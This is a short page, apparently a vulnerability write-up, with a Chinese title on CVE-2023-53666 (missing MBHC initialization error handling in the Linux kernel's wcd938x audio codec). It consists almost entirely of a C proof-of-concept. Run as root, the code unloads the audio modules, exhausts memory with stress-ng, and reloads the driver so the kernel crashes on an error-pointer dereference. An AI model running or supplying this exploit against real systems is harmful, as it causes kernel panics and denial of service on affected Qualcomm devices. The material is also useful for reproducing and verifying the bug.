CVE-2023-53666：Linux内核ASoC wcd938x编解码器缺失MBHC初始化错误处理

/* CVE-2023-53666 PoC - Trigger kernel crash via wcd938x MBHC error path * * This PoC demonstrates how to trigger the vulnerability by forcing * MBHC initialization to fail on a Qualcomm platform using wcd938x codec. * Requires root privileges to load/unload kernel modules. * * Compile: gcc -o poc_cve_2023_53666 poc.c * Run: sudo ./poc_cve_2023_53666 */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/stat.h> #define MODULE_WCD938X "snd_soc_wcd938x" #define MODULE_SC8280XP "snd_soc_sc8280xp" /* Simulate MBHC init failure by manipulating driver probe timing. * On vulnerable kernels, this triggers NULL/error pointer dereference * in wcd_mbhc_start() called from wcd938x_codec_set_jack(). */ int trigger_mbhc_crash(void) { int ret; /* Step 1: Unload existing audio modules if loaded */ printf("[*] Unloading existing audio modules...\n"); ret = system("rmmod snd_soc_sc8280xp 2>/dev/null"); ret = system("rmmod snd_soc_wcd938x 2>/dev/null"); /* Step 2: Force MBHC initialization to fail by allocating * excessive memory before loading the module, causing * wcd_mbhc_init() internal allocations to fail. */ printf("[*] Consuming memory to force MBHC init failure...\n"); system("stress-ng --vm 1 --vm-bytes 90% --timeout 10s &"); sleep(2); /* Step 3: Load the wcd938x codec driver. * On vulnerable kernels, the probe will call set_jack, * which calls wcd_mbhc_start with an ERR_PTR, * triggering kernel paging request at 0xfffffffffffffff8 */ printf("[*] Loading wcd938x module to trigger crash...\n"); ret = system("modprobe snd_soc_wcd938x"); if (ret != 0) { printf("[+] Module load attempted - check dmesg for kernel panic\n"); printf("[+] Vulnerable kernel will show: 'Unable to handle kernel paging request'\n"); printf("[+] Call trace will include: wcd_mbhc_start+0x28/0x380\n"); } return ret; } int main(int argc, char *argv[]) { printf("=== CVE-2023-53666 PoC ===\n"); printf("Target: Linux kernel ASoC wcd938x MBHC error handling\n\n"); if (getuid() != 0) { printf("[-] This PoC requires root privileges\n"); return 1; } trigger_mbhc_crash(); return 0; }